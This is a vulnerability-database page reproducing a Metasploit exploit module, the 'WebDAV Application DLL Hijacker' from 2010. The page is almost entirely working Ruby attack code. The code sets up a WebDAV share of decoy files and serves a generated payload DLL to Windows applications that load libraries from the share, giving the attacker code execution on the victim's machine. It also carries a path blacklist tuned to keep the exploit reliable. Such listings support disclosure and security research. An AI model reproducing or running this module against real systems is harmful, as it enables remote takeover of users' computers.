Lucene search
K

WebDAV Application DLL Hijacker

🗓️ 24 Aug 2010 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

WebDAV Application DLL Hijacker module for MSF framework converts HTTP GET requests to DLL payloads, leading to code execution. Vulnerable application type must be configured in EXTENSIONS option

Code
`##  
# $Id: webdav_dll_hijacker.rb 10101 2010-08-23 13:41:59Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
#  
# This module acts as an HTTP server  
#  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WebDAV Application DLL Hijacker',  
'Description' => %q{  
This module presents a directory of file extensions that can lead to  
code execution when opened from the share. The default EXTENSIONS option  
must be configured to specify a vulnerable application type.  
},  
'Author' =>  
[  
'hdm', # Module itself  
'jduck', # WebDAV implementation  
'jcran', # Exploit vectors  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 10101 $',  
'References' =>  
[  
['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html'],  
['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 2048,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DisclosureDate' => 'Aug 18 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),  
OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),  
OptString.new( 'BASENAME', [ true, "The base name for the listed files.", "policy" ]),  
OptString.new( 'SHARENAME', [ true, "The name of the top-level share.", "documents" ]),  
OptString.new( 'EXTENSIONS', [ true, "The list of extensions to generate", "txt" ])  
], self.class)  
  
deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL  
end  
  
  
def on_request_uri(cli, request)  
  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
process_get(cli, request)  
else  
print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
end  
  
  
def process_get(cli, request)  
  
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
webdav = "\\\\#{myhost}\\"  
  
if blacklisted_path?(request.uri)  
print_status("#{cli.peerhost}:#{cli.peerport} GET => 404 [BLACKLIST] (#{request.uri})")  
resp = create_response(404, "Not Found")  
resp.body = ""  
cli.send_response(resp)  
return  
end  
  
if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)  
print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")  
return if ((p = regenerate_payload(cli)) == nil)  
data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
if (request.uri =~ /\.(...?)$/i)  
print_status("#{cli.peerhost}:#{cli.peerport} GET => DATA (#{request.uri})")  
data = "HELLO!"  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
print_status("#{cli.peerhost}:#{cli.peerport} GET => REDIRECT (#{request.uri})")  
resp = create_response(200, "OK")  
  
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{datastore['SHARENAME']}\\"></head><body></body></html>|  
  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
  
#  
# OPTIONS requests sent by the WebDav Mini-Redirector  
#  
def process_options(cli, request)  
print_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")  
headers = {  
'MS-Author-Via' => 'DAV',  
'DASL' => '<DAV:sql>',  
'DAV' => '1, 2',  
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',  
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',  
'Cache-Control' => 'private'  
}  
resp = create_response(207, "Multi-Status")  
headers.each_pair {|k,v| resp[k] = v }  
resp.body = ""  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
#  
# PROPFIND requests sent by the WebDav Mini-Redirector  
#  
def process_propfind(cli, request)  
path = request.uri  
print_status("#{cli.peerhost}:#{cli.peerport} PROPFIND #{path}")  
body = ''  
  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
my_uri = "http://#{my_host}/"  
  
if path !~ /\/$/  
  
if blacklisted_path?(path)  
print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 404 (#{path})"  
resp = create_response(404, "Not Found")  
resp.body = ""  
cli.send_response(resp)  
return  
end  
  
if path.index(".")  
print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 File (#{path})"  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
return  
else  
print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 301 (#{path})"  
resp = create_response(301, "Moved")  
resp["Location"] = path + "/"  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
end  
  
print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Directory (#{path})"  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
if request["Depth"].to_i > 0  
trail = path.split("/")  
trail.shift  
case trail.length  
when 0  
body << generate_shares(path)  
when 1  
body << generate_files(path)  
end  
else  
print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Top-Level Directory"  
end  
  
body << "</D:multistatus>"  
  
body.gsub!(/\t/, '')  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
end  
  
def generate_shares(path)  
share_name = datastore['SHARENAME']  
%Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{share_name}/</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
end  
  
def generate_files(path)  
trail = path.split("/")  
return "" if trail.length < 2  
  
base = datastore['BASENAME']  
exts = datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/)  
files = ""  
exts.each do |ext|  
files << %Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{base}.#{ext}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
end  
  
files  
end  
  
def gen_timestamp(ttype=nil)  
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")  
end  
  
def gen_datestamp(ttype=nil)  
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")  
end  
  
# This method rejects requests that are known to break exploitation  
def blacklisted_path?(uri)  
return true if uri =~ /\.exe/i  
return true if uri =~ /\.(config|manifest)/i  
return true if uri =~ /desktop\.ini/i  
return true if uri =~ /lib.*\.dll/i  
return true if uri =~ /\.tmp$/i  
return true if uri =~ /(pcap|packet)\.dll/i  
false  
end  
  
def exploit  
  
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']  
  
@exploit_unc = "\\\\#{myhost}\\"  
  
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'  
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'  
end  
  
print_status("")  
print_status("Exploit links are now available at #{@exploit_unc}#{datastore['SHARENAME']}\\")  
print_status("")  
  
super  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Aug 2010 00:00Current
7.4High risk
Vulners AI Score7.4
24